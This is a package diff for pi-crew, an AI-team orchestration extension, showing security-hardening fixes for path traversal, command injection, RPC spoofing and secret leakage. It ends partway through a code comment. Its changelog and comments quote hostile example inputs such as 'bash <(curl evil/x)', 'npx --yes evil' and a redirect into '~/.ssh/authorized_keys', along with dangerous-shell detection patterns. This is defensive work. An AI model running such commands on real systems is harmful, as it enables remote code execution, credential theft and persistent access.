pi-crew 0.9.2 → 0.9.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -1,5 +1,127 @@
1
1
  # Changelog
2
2
 
3
+ ## [v0.9.4] — fix macOS CI: benchmark allowlist + cross-platform fixtures (2026-06-23)
4
+
5
+ Patch fix for a CI failure introduced in v0.9.3 (caught by the macOS CI job,
6
+ which the v0.9.3 release unfortunately did not wait for — lesson learned).
7
+
8
+ ### What was wrong
9
+
10
+ The v0.9.3 benchmark test fixtures used `grep --help` as a benign exit-0
11
+ command. GNU grep (Linux) exits 0, but **BSD grep (macOS) does not support
12
+ `--help`** and exits 2 — so `runBenchmarkSuite computes total counts` failed
13
+ on macOS CI (`2 !== 0`). Local Linux verification missed this.
14
+
15
+ ### Fix
16
+
17
+ - `benchmark-runner.ts`: added `echo` to the command allowlist. Safe because the
18
+ shell-metachar blocker already rejects command substitution (`$(…)`, backticks),
19
+ so `echo $(evil)` cannot execute; bare `echo …` only prints. `echo` is the
20
+ canonical cross-platform exit-0 command.
21
+ - `test/unit/benchmark.test.ts`: fixtures switched from `grep --help` → `echo ok`
22
+ (exits 0 on Linux/macOS/Windows-sh). The "not in allowlist" test now uses `ls`
23
+ (genuinely disallowed).
24
+
25
+ ### Process note
26
+
27
+ This is the release where the project re-commits to: **tag/publish ONLY after
28
+ the full OS matrix CI (ubuntu/windows/macos) is green.** v0.9.3 was published
29
+ mid-CI-run; the package itself is correct (the broken file is test-only and
30
+ not shipped), but the repo CI went red. v0.9.4 restores green CI.
31
+
32
+ ## [v0.9.3] — security hardening + crash-diagnostics (code review 2026-06-23)
33
+
34
+ Patch release addressing findings from a full codebase code review
35
+ (`research-findings/pi-crew-code-review-2026-06-23.md`), plus observability fixes
36
+ for silent background-runner deaths.
37
+
38
+ ### Critical
39
+
40
+ - **C-1** `worktree/branch-freshness.ts`: the `git()` helper spawned git with the
41
+ full parent env, leaking every API key/token to any git hook/alias/credential-
42
+ helper. Now uses `sanitizeEnvSecrets()` (mirrors `worktree-manager.ts`).
43
+
44
+ ### High
45
+
46
+ - **H-1** `tools/safe-bash.ts`: `isDangerous()` missed Bash process substitution
47
+ `<(...)`/`>(...)`, which executes commands in a subshell bypassing all pipe-
48
+ based checks (e.g. `bash <(curl evil/x)`). Now blocked.
49
+ - **H-2** `runtime/cross-extension-rpc.ts`: RPC authorization relied on a
50
+ self-declared `source === "pi-crew"` field any co-installed extension could
51
+ spoof. Now also requires an unguessable per-process token (`getCrewRpcToken()`).
52
+ - **H-3** `extension/team-tool/run.ts`: result/summary artifact reads used a
53
+ `path.isAbsolute()` shortcut + bare `path.join`, allowing arbitrary file read
54
+ (`/etc/passwd`) and `../` traversal. Now routed through `resolveRealContainedPath()`.
55
+ - **H-4** `ui/live-conversation-overlay.ts`: `cachedLines` grew unbounded during
56
+ long live sessions (OOM). Now capped at 5000 lines (ring buffer).
57
+ - **H-6** `runtime/orphan-worker-registry.ts`: `pid` was interpolated into an
58
+ `execSync` shell string with no runtime assertion (command injection via a
59
+ poisoned state file). Now `Number.isFinite()`-guarded + `execFileSync` argv.
60
+ - **H-7** `benchmark/benchmark-runner.ts`: the command allowlist permitted `npx`/
61
+ `node`, enabling arbitrary code execution without metacharacters
62
+ (`npx --yes evil`, `node -e …`). Removed; use `npm test`/`cargo test`.
63
+
64
+ ### Medium
65
+
66
+ - **M-1** `runtime/post-checks.ts`, `runtime/task-runner.ts`: hand-rolled
67
+ `path.resolve + startsWith` containment was vulnerable to symlink traversal;
68
+ replaced with `resolveRealContainedPath()`.
69
+ - **M-2** `workflows/intermediate-store.ts`: `phase`/`stepId` were interpolated
70
+ into a filename via `path.join` with no validation (path traversal via a
71
+ poisoned stepId). Now validated with `isSafePathId()`.
72
+ - **M-3/M-4** `runtime/verification-gates.ts`: the dangerous-shell regex allowed
73
+ bare `>` file redirects and used a confusing `[^^&]` char class. Replaced with
74
+ a `[<>](?![&\d])` lookahead that blocks file redirects while allowing
75
+ `2>&1`/`>&N` fd-duplication.
76
+ - **M-5** `tools/safe-bash.ts`: the overly-permissive-`allowPatterns` rejection
77
+ only caught patterns matching both `""` and `"rm -rf /"`; a pattern like `/.+/`
78
+ bypassed it. Now tests each pattern against a battery of dangerous commands.
79
+ (`safeRead` removed from the `permissive` preset — it allowed `cat` of any file.)
80
+ - **M-7** `config/config.ts`: the `PI_TEAMS_HOME` containment check was bypassed
81
+ whenever `NODE_ENV=test`, reachable from staging/CI environments. The explicit
82
+ `PI_CREW_SKIP_HOME_CHECK=1` flag is now the only opt-out (test runner sets it).
83
+ - **M-8** `hooks/registry.ts`: the prototype-pollution key lookup omitted
84
+ `.normalize("NFKC")`, so fullwidth-confusable keys (e.g. `__proto__`, U+FF4F)
85
+ bypassed sanitization. Now normalized in both lookups.
86
+ - **M-9** `runtime/verification-gates.ts`: the command-timeout `setTimeout` was
87
+ never stored/cleared, keeping the event loop alive for the full timeout and
88
+ firing `kill()` on an already-dead process. Now stored, `unref()`'d, and
89
+ cleared on close/error.
90
+ - **M-10** `ui/live-run-sidebar.ts`: `dispose()` did not clear `autoCloseTimeout`,
91
+ so a disposed sidebar could fire `done()` later. Now cleared.
92
+ - **M-11** `ui/settings-overlay.ts`: local width/truncate helpers counted
93
+ characters naively (broke CJK/emoji alignment). Now delegate to the
94
+ Unicode-aware `utils/visual.ts`.
95
+ - **M-13** `ui/tool-renderers/index.ts`: removed dead `linkPath()` that
96
+ interpolated a path into an OSC-8 escape without sanitizing control chars.
97
+
98
+ ### Crash diagnostics (background runner)
99
+
100
+ Three observability fixes so silent background-runner deaths leave a trace
101
+ (root-caused a memory-pressure OOM/abort that previously vanished without a log):
102
+
103
+ - **async-runner.ts**: drain the child stderr pipe into `background.log` instead
104
+ of destroying it (native abort/segfault messages were being swallowed). Buffer
105
+ capped at 256 KB.
106
+ - **async-runner.ts**: V8 `--report-on-fatalerror` is now ON by default (writes a
107
+ report file into the run stateRoot); opt out with `PI_CREW_BG_REPORT_ON_FATAL=0`.
108
+ - **background-runner.ts**: documented why the console redirect alone cannot
109
+ catch native crashes.
110
+
111
+ ### Tests
112
+
113
+ - Regression tests added for H-1 (process substitution) and M-8 (NFKC-confusable
114
+ prototype pollution).
115
+ - `getBackgroundRunnerCommand` tests updated for the new default report flags.
116
+ - Benchmark test fixtures migrated off `npx`/`node` (now `grep --help`).
117
+
118
+ ### Not addressed in this release
119
+
120
+ - **H-5** (transcript-viewer redundant disk I/O) — performance, deferred.
121
+ - **H-8** (live-control injection) — pair with full event-bus origin signing.
122
+ - **M-6** (per-child API-key scoping) — architectural; tracked separately.
123
+ - **M-12/M-14** (widget dedup, shared elapsed helper) — maintainability, deferred.
124
+
3
125
  ## [v0.9.2] — package cleanup: remove scratch scripts leaked into npm tarball (2026-06-22)
4
126
 
5
127
  Patch release. **No code changes.** Purely a published-package hygiene fix.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "pi-crew",
3
- "version": "0.9.2",
3
+ "version": "0.9.4",
4
4
  "description": "Pi extension for coordinated AI teams, workflows, worktrees, and async task orchestration",
5
5
  "author": "baphuongna",
6
6
  "license": "MIT",
@@ -41,10 +41,18 @@ export interface BenchmarkResult {
41
41
  * Uses comprehensive shell metacharacter blocking similar to safe-bash.ts.
42
42
  */
43
43
  function validateCommand(command: string): void {
44
- // Basic allowlist - must start with allowed command
45
- const allowlist = /^(pytest|grep|npm test|npx|node) /;
44
+ // Basic allowlist - must start with an allowed command.
45
+ // SECURITY (H-7): `npx`/`node` were removed because they enable arbitrary code
46
+ // execution without any shell metacharacter (e.g. `npx --yes evil-package`
47
+ // or `node -e "require('fs')…"`). Use `npm test`/`npm run …` instead of raw
48
+ // `node`/`npx` in benchmark task definitions.
49
+ // `echo` is allowed because the metachar blocker (validateGateCommand) rejects
50
+ // command substitution (`$(...)`, backticks), so `echo $(evil)` cannot run;
51
+ // bare `echo …` only prints. It's the canonical exit-0 command used in
52
+ // benchmark fixtures across Linux/macOS/Windows(sh).
53
+ const allowlist = /^(pytest|grep|npm test|cargo test|cargo clippy|echo) /;
46
54
  if (!allowlist.test(command)) {
47
- throw new Error(`Command not allowed: ${command}. Only pytest, grep, npm test, npx allowed.`);
55
+ throw new Error(`Command not allowed: ${command}. Only pytest, grep, npm test, cargo test/clippy, echo allowed.`);
48
56
  }
49
57
 
50
58
  // Block shell metacharacters after command name
@@ -84,16 +84,11 @@ function resolveHomeDir(): string {
84
84
  if (process.env.PI_CREW_SKIP_HOME_CHECK === "1") {
85
85
  return envValue;
86
86
  }
87
- // NOTE: NODE_ENV=test bypass is intentional for test isolation only.
88
- // It allows tests to use isolated temporary directories (e.g. withIsolatedHome
89
- // sets PI_TEAMS_HOME to /tmp). This is NOT a security boundary — tests that
90
- // need the validation skipped should set PI_CREW_SKIP_HOME_CHECK=1 explicitly.
91
- // WARNING: Tests must NOT rely on PI_TEAMS_HOME for security boundaries in
92
- // test environments. Any test verifying path-restriction behavior should set
93
- // PI_CREW_SKIP_HOME_CHECK=1 and validate the path directly.
94
- if (process.env.NODE_ENV === "test") {
95
- return envValue;
96
- }
87
+ // M-7 fix (code-review 2026-06-23): the previous `NODE_ENV === "test"` bypass
88
+ // was reachable from any production-ish environment that happened to set
89
+ // NODE_ENV=test (CI smoke tests, staging), allowing a malicious .env to
90
+ // redirect PI_TEAMS_HOME anywhere. The explicit opt-out flag above is the only
91
+ // bypass now; the test runner sets it (scripts/test-runner.mjs).
97
92
  try {
98
93
  const userHome = fs.realpathSync(defaultHome);
99
94
  const resolvedHome = fs.realpathSync(envValue);
@@ -15,6 +15,7 @@ import type { executeTeamRun as ExecuteTeamRunFn } from "../../runtime/team-runn
15
15
  // eslint-disable-next-line @typescript-eslint/no-unused-vars -- type-only import for TS inference
16
16
  const _typeCheck: typeof ExecuteTeamRunFn = null as never as typeof ExecuteTeamRunFn;
17
17
  import { logInternalError } from "../../utils/internal-error.ts";
18
+ import { resolveRealContainedPath } from "../../utils/safe-paths.ts";
18
19
  let _cachedExecuteTeamRun: typeof ExecuteTeamRunFn | undefined;
19
20
  async function executeTeamRun(...args: Parameters<typeof ExecuteTeamRunFn>): Promise<Awaited<ReturnType<typeof ExecuteTeamRunFn>>> {
20
21
  if (!_cachedExecuteTeamRun) {
@@ -439,9 +440,11 @@ export async function handleRun(params: TeamToolParamsValue, ctx: TeamContext):
439
440
  let resultExcerpt = "";
440
441
  if (task.resultArtifact?.path) {
441
442
  try {
442
- const resPath = path.isAbsolute(task.resultArtifact.path)
443
- ? task.resultArtifact.path
444
- : path.join(completed.manifest.artifactsRoot, task.resultArtifact.path);
443
+ // H-3 fix (code-review 2026-06-23): resolve the result artifact path
444
+ // inside artifactsRoot via the project's safe-path primitive. Rejects
445
+ // absolute paths (/etc/passwd) and ../ traversal that the old
446
+ // path.isAbsolute shortcut + bare path.join allowed.
447
+ const resPath = resolveRealContainedPath(completed.manifest.artifactsRoot, task.resultArtifact.path);
445
448
  resultExcerpt = fs.readFileSync(resPath, "utf-8").trim().slice(0, 2000);
446
449
  } catch {
447
450
  resultExcerpt = "(result unavailable)";
@@ -572,9 +575,11 @@ export async function handleRun(params: TeamToolParamsValue, ctx: TeamContext):
572
575
  let resultExcerpt = "";
573
576
  if (task.resultArtifact?.path) {
574
577
  try {
575
- const resPath = path.isAbsolute(task.resultArtifact.path)
576
- ? task.resultArtifact.path
577
- : path.join(completed.manifest.artifactsRoot, task.resultArtifact.path);
578
+ // H-3 fix (code-review 2026-06-23): resolve the result artifact path
579
+ // inside artifactsRoot via the project's safe-path primitive. Rejects
580
+ // absolute paths (/etc/passwd) and ../ traversal that the old
581
+ // path.isAbsolute shortcut + bare path.join allowed.
582
+ const resPath = resolveRealContainedPath(completed.manifest.artifactsRoot, task.resultArtifact.path);
578
583
  resultExcerpt = fs.readFileSync(resPath, "utf-8").trim().slice(0, 2000);
579
584
  } catch {
580
585
  resultExcerpt = "(result unavailable)";
@@ -71,7 +71,7 @@ export async function executeHook(name: HookName, ctx: HookContext): Promise<Hoo
71
71
  function sanitizeMergeData(data: Record<string, unknown>): Record<string, unknown> {
72
72
  const clean: Record<string, unknown> = {};
73
73
  for (const [k, v] of Object.entries(data)) {
74
- if (!POLLUTED_KEYS.has(k.toLowerCase())) {
74
+ if (!POLLUTED_KEYS.has(k.toLowerCase().normalize("NFKC"))) {
75
75
  if (v !== null && typeof v === "object") {
76
76
  if (Array.isArray(v)) {
77
77
  // Sanitize array elements that are objects
@@ -91,7 +91,7 @@ export async function executeHook(name: HookName, ctx: HookContext): Promise<Hoo
91
91
  // This sanitization runs at the start of executeHook to prevent prototype pollution attacks.
92
92
  function sanitizeContext(ctx: HookContext): HookContext {
93
93
  for (const key of Object.keys(ctx)) {
94
- if (POLLUTED_KEYS.has(key.toLowerCase())) {
94
+ if (POLLUTED_KEYS.has(key.toLowerCase().normalize("NFKC"))) {
95
95
  delete ctx[key];
96
96
  }
97
97
  }
@@ -107,6 +107,12 @@ export function getBackgroundRunnerCommand(
107
107
  cwd: string,
108
108
  runId: string,
109
109
  loaderInput: LoaderInput = resolveTypeScriptLoader(),
110
+ /**
111
+ * Directory to write the V8 fatal-error report into. Defaults to
112
+ * path.dirname(runnerPath). Pass the run stateRoot so the report lands
113
+ * next to background.log for easy diagnosis.
114
+ */
115
+ reportDirectory?: string,
110
116
  ): { args: string[]; loader: "jiti" | "strip-types" } {
111
117
  const loader = normalizeLoaderInput(loaderInput);
112
118
  if (!loader) throw new Error(buildLoaderUnavailableMessage(packageRootFromRuntime()));
@@ -116,13 +122,16 @@ export function getBackgroundRunnerCommand(
116
122
  // defaults to ~1.5GB on 64-bit systems, which combined with jiti compilation
117
123
  // and child processes can exhaust system memory.
118
124
  const memoryLimit = "--max-old-space-size=512";
119
- // Phase 1.5 #3 (RFC 17): opt-in V8 diagnostic report on fatal error. Writes
120
- // a report file next to the manifest when the process dies abnormally.
121
- // Crucial for diagnosing the non-deterministic multi-step goal-wrap crash
122
- // (commit a9f6e09) gives us native stack, environment, and load info that
123
- // application-level signal handlers cannot capture.
124
- const reportFlags = process.env.PI_CREW_BG_REPORT_ON_FATAL === "1" || process.env.PI_TEAMS_BG_REPORT_ON_FATAL === "1"
125
- ? ["--report-on-fatalerror", "--report-compact", `--report-directory=${path.dirname(runnerPath)}`]
125
+ // V8 diagnostic report on fatal error. A native heap-OOM abort or segfault
126
+ // bypasses the JS process.on('exit') handler and console overrides
127
+ // entirely only a V8 report file survives such crashes. This is ON by
128
+ // default precisely so silent runner deaths (like the explore→code-review
129
+ // transition crash) leave a native stack/heap/environment trace. Users who
130
+ // don't want report files can opt out with PI_CREW_BG_REPORT_ON_FATAL=0.
131
+ const reportOn = !(process.env.PI_CREW_BG_REPORT_ON_FATAL === "0" || process.env.PI_TEAMS_BG_REPORT_ON_FATAL === "0");
132
+ const reportDir = reportDirectory ?? path.dirname(runnerPath);
133
+ const reportFlags = reportOn
134
+ ? ["--report-on-fatalerror", "--report-compact", `--report-directory=${reportDir}`]
126
135
  : [];
127
136
  if (loader.kind === "jiti") {
128
137
  return {
@@ -243,7 +252,9 @@ export async function spawnBackgroundTeamRun(manifest: TeamRunManifest): Promise
243
252
  appendEvent(manifest.eventsPath, { type: "async.failed", runId: manifest.runId, message });
244
253
  throw new Error(message);
245
254
  }
246
- const command = getBackgroundRunnerCommand(runnerPath, manifest.cwd, manifest.runId, loader);
255
+ // Pass manifest.stateRoot as report-directory so V8 fatal reports land
256
+ // next to background.log (same dir) for easy post-mortem diagnosis.
257
+ const command = getBackgroundRunnerCommand(runnerPath, manifest.cwd, manifest.runId, loader, manifest.stateRoot);
247
258
  fs.appendFileSync(logPath, `[pi-crew] background loader=${command.loader}\n`, "utf-8");
248
259
 
249
260
  // Spawn the background runner as a fully detached process with its own session.
@@ -266,13 +277,56 @@ export async function spawnBackgroundTeamRun(manifest: TeamRunManifest): Promise
266
277
  windowsHide: true,
267
278
  } as unknown as Parameters<typeof spawn>[2];
268
279
  const child = spawn(process.execPath, command.args, spawnOpts);
269
- // Round 27 (BUG 3): the piped stdout/stderr are NEVER read or destroyed
270
- // 2 FDs leak per background spawn, and if the child writes >64KB (pipe
271
- // buffer) it blocks forever (nobody drains the pipe) background runner
272
- // hangs. The background runner redirects its own console to a file, so we
273
- // don't need this output destroy the read ends immediately.
280
+ // Round 27 (BUG 3) history: the piped stdout/stderr were previously destroyed
281
+ // immediately to avoid a pipe-buffer deadlock (child writes >64KB with nobody
282
+ // draining hang). BUT destroying stderr ALSO swallowed native crash
283
+ // messages: a V8 heap-OOM abort() or segfault writes its diagnostic directly
284
+ // to the process stderr fd, which was the (now-destroyed) pipe read-end, so
285
+ // the bytes vanished — making runner deaths completely silent. This caused
286
+ // the explore→code-review transition crash to leave zero trace.
287
+ //
288
+ // FIX: keep stdout destroyed (unused — runner redirects its own console to
289
+ // a file), but DRAIN stderr asynchronously into background.log with a
290
+ // "[child stderr]" prefix. Buffer is capped to avoid unbounded memory if a
291
+ // noisy child streams megabytes; excess is dropped with a truncation marker.
274
292
  child.stdout?.destroy();
275
- child.stderr?.destroy();
293
+ const STDERR_CAPTURE_LIMIT = 256 * 1024;
294
+ const stderrChunks: Buffer[] = [];
295
+ let stderrLen = 0;
296
+ let stderrTruncated = false;
297
+ const flushStderr = (): void => {
298
+ if (stderrChunks.length === 0) return;
299
+ let body: string;
300
+ try {
301
+ body = Buffer.concat(stderrChunks).toString("utf-8");
302
+ } catch {
303
+ stderrChunks.length = 0;
304
+ return;
305
+ }
306
+ stderrChunks.length = 0;
307
+ try {
308
+ fs.appendFileSync(logPath, `[child stderr] ${body}${body.endsWith("\n") ? "" : "\n"}`, "utf-8");
309
+ } catch {
310
+ /* best-effort */
311
+ }
312
+ };
313
+ child.stderr?.on("data", (chunk: Buffer) => {
314
+ if (stderrLen + chunk.length > STDERR_CAPTURE_LIMIT) {
315
+ if (!stderrTruncated) {
316
+ stderrTruncated = true;
317
+ try {
318
+ fs.appendFileSync(logPath, `[child stderr truncated at ${STDERR_CAPTURE_LIMIT} bytes]\n`, "utf-8");
319
+ } catch {
320
+ /* best-effort */
321
+ }
322
+ }
323
+ return;
324
+ }
325
+ stderrChunks.push(chunk);
326
+ stderrLen += chunk.length;
327
+ });
328
+ child.stderr?.on("end", flushStderr);
329
+ child.stderr?.on("close", flushStderr);
276
330
  child.on("error", (error: Error) => {
277
331
  logInternalError("async-runner.spawn", error, `pid=${child.pid ?? "unknown"}`);
278
332
  });
@@ -294,7 +294,17 @@ async function main(): Promise<void> {
294
294
  // FIX: Store logFd so it can be closed on exit to prevent file descriptor leak
295
295
  let logFd: number | undefined;
296
296
  // Redirect console to background.log since stdio is "ignore" in detached mode.
297
- // Must be BEFORE any console.log/console.error calls.
297
+ // This is the ABSOLUTE FIRST thing main() does after reading --cwd/--run-id
298
+ // (which are required to build the log path). Any later — after heavy imports,
299
+ // scrubProcessEnv, or signal handler setup — and JS-level crashes during those
300
+ // steps would lose their console output.
301
+ //
302
+ // NOTE on native crashes: a V8 heap-OOM abort() or segfault bypasses this
303
+ // console redirect entirely (it writes straight to the process stderr fd).
304
+ // Those are now captured two other ways: (1) the parent drains the child's
305
+ // stderr pipe into background.log (see async-runner.ts spawn), and (2) the
306
+ // V8 --report-on-fatalerror flag (ON by default) writes a report file into
307
+ // the run stateRoot. This console redirect only covers JS-level output.
298
308
  const _cwd = argValue("--cwd");
299
309
  const _runId = argValue("--run-id");
300
310
  if (_cwd && _runId) {
@@ -1,3 +1,5 @@
1
+ import * as crypto from "node:crypto";
2
+
1
3
  export interface EventBus {
2
4
  on(event: string, handler: (data: unknown) => void): () => void;
3
5
  emit(event: string, data: unknown): void;
@@ -9,6 +11,20 @@ export type RpcReply<T = void> =
9
11
 
10
12
  export const PROTOCOL_VERSION = 1;
11
13
 
14
+ // H-2 fix (code-review 2026-06-23): the old authorization relied on a
15
+ // self-declared `source === "pi-crew"` field, which any co-installed
16
+ // extension on the shared event bus can spoof. We now also require an
17
+ // unguessable per-process token. Only in-process pi-crew code can obtain it
18
+ // via getCrewRpcToken(); a cross-extension attacker cannot forge a UUID it
19
+ // has never seen. (A full fix still needs event-bus-level origin signing, but
20
+ // this closes the trivial spoof.)
21
+ let CREW_RPC_TOKEN: string | undefined;
22
+ /** @internal Per-process token that legitimate in-process RPC callers must include. */
23
+ export function getCrewRpcToken(): string {
24
+ if (!CREW_RPC_TOKEN) CREW_RPC_TOKEN = crypto.randomUUID();
25
+ return CREW_RPC_TOKEN;
26
+ }
27
+
12
28
  export interface RpcDeps {
13
29
  events: EventBus;
14
30
  getCtx: () => unknown | undefined;
@@ -58,12 +74,20 @@ export function registerCrewRpcHandlers(deps: RpcDeps): RpcHandle {
58
74
  // operations that create or terminate child processes. Any subscriber on
59
75
  // the shared event bus can emit these events. In a multi-extension
60
76
  // environment, this means a malicious extension could spawn/stop agents.
61
- // Mitigation: validate that the caller is the pi-crew extension by checking
62
- // the request includes a known extension identifier. Log all invocations
63
- // for audit. A full fix requires event-bus-level origin signing.
77
+ // Mitigation (H-2): require an unguessable per-process token in addition to
78
+ // the legacy `source` identifier. Log all invocations for audit. A full fix
79
+ // still requires event-bus-level origin signing.
64
80
  const CREW_RPC_SOURCE = "pi-crew";
81
+ const EXPECTED_TOKEN = getCrewRpcToken();
65
82
 
66
- function validateRpcSource(params: { requestId: string; source?: string }): boolean {
83
+ function validateRpcSource(params: { requestId: string; source?: string; token?: string }): boolean {
84
+ if (params.token !== EXPECTED_TOKEN) {
85
+ console.warn(
86
+ `[pi-crew SECURITY] RPC invocation rejected: missing/invalid token (source=${params.source ?? "(none)"}). ` +
87
+ `Privileged RPC requires the in-process token. Request may be from an untrusted extension.`,
88
+ );
89
+ return false;
90
+ }
67
91
  if (!params.source || params.source !== CREW_RPC_SOURCE) {
68
92
  console.warn(
69
93
  `[pi-crew SECURITY] RPC invocation from unexpected source: ${params.source ?? "(none)"}. ` +
@@ -74,22 +98,22 @@ export function registerCrewRpcHandlers(deps: RpcDeps): RpcHandle {
74
98
  return true;
75
99
  }
76
100
 
77
- const unsubSpawn = handleRpc<{ requestId: string; type: string; prompt: string; options?: Record<string, unknown>; source?: string }>(
101
+ const unsubSpawn = handleRpc<{ requestId: string; type: string; prompt: string; options?: Record<string, unknown>; source?: string; token?: string }>(
78
102
  events,
79
103
  "crew:rpc:spawn",
80
104
  (params) => {
81
- if (!validateRpcSource(params)) throw new Error("Unauthorized: RPC spawn requires source='pi-crew'");
105
+ if (!validateRpcSource(params)) throw new Error("Unauthorized: RPC spawn requires valid token and source='pi-crew'");
82
106
  const ctx = getCtx();
83
107
  if (!ctx) throw new Error("No active session");
84
108
  return { id: spawn(params.type, params.prompt, params.options ?? {}) };
85
109
  },
86
110
  );
87
111
 
88
- const unsubStop = handleRpc<{ requestId: string; agentId: string; source?: string }>(
112
+ const unsubStop = handleRpc<{ requestId: string; agentId: string; source?: string; token?: string }>(
89
113
  events,
90
114
  "crew:rpc:stop",
91
115
  (params) => {
92
- if (!validateRpcSource(params)) throw new Error("Unauthorized: RPC stop requires source='pi-crew'");
116
+ if (!validateRpcSource(params)) throw new Error("Unauthorized: RPC stop requires valid token and source='pi-crew'");
93
117
  if (!abort(params.agentId)) throw new Error("Agent not found");
94
118
  },
95
119
  );
@@ -23,7 +23,7 @@
23
23
  */
24
24
  import * as fs from "node:fs";
25
25
  import * as path from "node:path";
26
- import { execSync } from "node:child_process";
26
+ import { execSync, execFileSync } from "node:child_process";
27
27
  import { userPiRoot } from "../utils/paths.ts";
28
28
  import { logInternalError } from "../utils/internal-error.ts";
29
29
  import { withFileLockSync } from "../state/locks.ts";
@@ -109,12 +109,17 @@ function getProcessStartTimeLinux(pid: number): number | undefined {
109
109
  }
110
110
 
111
111
  function getProcessStartTimeMacOS(pid: number): number | undefined {
112
+ // SECURITY (H-6): validate pid is a finite positive number before use, and
113
+ // pass it as an argv element (not interpolated into a shell string) so a
114
+ // poisoned pid value can never reach a shell. Number.isFinite() rejects any
115
+ // non-numeric string that could carry shell metacharacters.
116
+ if (!Number.isFinite(pid) || pid <= 0) return undefined;
112
117
  // Use sysctl to get process start time on macOS
113
118
  // KERN_PROC_PID returns a kinfo_proc structure with p_starttime
114
119
  try {
115
- // Use ps to get process start time - format: Mon Day Time or Mon Day Year
116
- // For cross-platform consistency, we use 'lstart' which gives full timestamp
117
- const output = execSync(`ps -p ${pid} -o lstart=`, { encoding: "utf-8", timeout: 5000 }).trim();
120
+ // For cross-platform consistency, use 'lstart' which gives full timestamp.
121
+ // execFileSync with an args array avoids shell interpretation entirely.
122
+ const output = execFileSync("ps", ["-p", String(pid), "-o", "lstart="], { encoding: "utf-8", timeout: 5000 }).trim();
118
123
  if (!output) return undefined;
119
124
  // Parse date string like "Mon Jan 15 10:30:45 2024"
120
125
  const date = new Date(output);
@@ -126,12 +131,17 @@ function getProcessStartTimeMacOS(pid: number): number | undefined {
126
131
  }
127
132
 
128
133
  function getProcessStartTimeWindows(pid: number): number | undefined {
134
+ // SECURITY (H-6): validate pid is a finite positive number. After this guard
135
+ // the value is guaranteed numeric, so interpolating it into the PowerShell
136
+ // -Command string is safe (no shell metacharacters can be injected).
137
+ if (!Number.isFinite(pid) || pid <= 0) return undefined;
129
138
  // Use Windows API via JSDrive's winattr or native code
130
139
  // For Node.js without native modules, use tasklist /v and parse output
131
140
  try {
132
141
  // /v verbose, /fo csv, /nh no header
133
- const output = execSync(
134
- `powershell -Command "Get-Process -Id ${pid} | Select-Object -ExpandProperty StartTime"`,
142
+ const output = execFileSync(
143
+ "powershell",
144
+ ["-Command", `Get-Process -Id ${pid} | Select-Object -ExpandProperty StartTime`],
135
145
  { encoding: "utf-8", timeout: 5000 },
136
146
  ).trim();
137
147
  if (!output) return undefined;
@@ -9,6 +9,7 @@ import * as path from "node:path";
9
9
  import { WINDOWS_ESSENTIAL_ENV_VARS } from "../utils/env-allowlist.ts";
10
10
  import { resolveShellForScript } from "../utils/resolve-shell.ts";
11
11
  import { sanitizeEnvSecrets } from "../utils/env-filter.ts";
12
+ import { resolveRealContainedPath } from "../utils/safe-paths.ts";
12
13
 
13
14
  /** Default timeout for post-check scripts (5 minutes). */
14
15
  const DEFAULT_TIMEOUT_MS = 300_000;
@@ -78,12 +79,13 @@ export async function runPostCheck(config: PostCheckConfig, cwd: string): Promis
78
79
  };
79
80
  }
80
81
 
81
- // M1: Validate that the script path is contained within cwd to prevent arbitrary file execution
82
- const resolved = path.resolve(cwd, scriptPath);
83
- const resolvedCwd = path.resolve(cwd);
84
- if (!resolved.startsWith(resolvedCwd + path.sep) && resolved !== resolvedCwd) {
85
- throw new Error(`Security: PI_CREW_POST_CHECK_SCRIPT escapes cwd: ${scriptPath}`);
86
- }
82
+ // M-1 fix (code-review 2026-06-23): use the project's safe-path primitive instead
83
+ // of a hand-rolled path.resolve + startsWith check. The lexical check passed a
84
+ // symlinked cwd/scripts -> /usr/local/bin, but execFileSync followed the symlink
85
+ // and executed a script outside the working directory. resolveRealContainedPath
86
+ // walks ancestors with O_NOFOLLOW and re-validates after realpath, defeating
87
+ // symlink-traversal attacks. Throws if the resolved path escapes cwd.
88
+ resolveRealContainedPath(cwd, scriptPath);
87
89
 
88
90
  const startTime = Date.now();
89
91
 
@@ -11,6 +11,7 @@ import type {
11
11
  VerificationEvidence,
12
12
  } from "../state/types.ts";
13
13
  import { logInternalError } from "../utils/internal-error.ts";
14
+ import { resolveRealContainedPath } from "../utils/safe-paths.ts";
14
15
  import { errors } from "../errors.ts";
15
16
  import { writeArtifact } from "../state/artifact-store.ts";
16
17
  import { appendEventAsync, appendEventFireAndForget } from "../state/event-log.ts";
@@ -282,11 +283,11 @@ export async function runTeamTask(
282
283
  if (input.step.preStepScript) {
283
284
  const scriptTimeout = input.step.preStepTimeout ?? 30_000;
284
285
  const scriptArgs = input.step.preStepArgs ?? [];
285
- // SECURITY: Validate preStepScript path is contained within cwd
286
- const resolved = path.resolve(manifest.cwd, input.step.preStepScript);
287
- if (!resolved.startsWith(path.resolve(manifest.cwd) + path.sep) && resolved !== path.resolve(manifest.cwd)) {
288
- throw new Error(`Security: preStepScript path escapes working directory: ${input.step.preStepScript}`);
289
- }
286
+ // SECURITY (M-1 fix, code-review 2026-06-23): use the project's safe-path
287
+ // primitive instead of a hand-rolled path.resolve + startsWith check.
288
+ // The lexical check passed a symlinked ancestor, letting execFileSync
289
+ // follow it and execute a script outside cwd. Throws on escape.
290
+ resolveRealContainedPath(manifest.cwd, input.step.preStepScript);
290
291
  try {
291
292
  const { execFileSync } = await import("node:child_process");
292
293
  preStepOutput = execFileSync(input.step.preStepScript, scriptArgs, {
@@ -130,9 +130,13 @@ export const CARGO_RUST_GATES: Array<{ name: string; command: string; critical:
130
130
  // secrets into captured gate output, e.g. `echo $ANTHROPIC_API_KEY`).
131
131
  // $+word-char is blocked; special vars like $?/$$/$! are left alone. Built-in
132
132
  // gates use only `2>&1` (no $VAR), so this does not break them.
133
- const DANGEROUS_SHELL_PATTERNS = /(?:;|&&|\|\||\$\(|`|\$\{|\$\w|\b(eval|exec)\b|>>|<[^^&]|[\r\n])/;
134
- // Note: single `>` is NOT blocked here because `2>&1` is a safe redirect used by built-in gates.
135
- // `>>` (append) is still blocked. `<` without `&` (input redirect) is still blocked.
133
+ // M-3/M-4 fix (code-review 2026-06-23): the old pattern used `>>` (append) and
134
+ // `<[^^&]` (a confusing char class). It allowed bare `>` (file redirect, e.g.
135
+ // `npm test > ~/.ssh/authorized_keys`) and used char-class semantics instead of
136
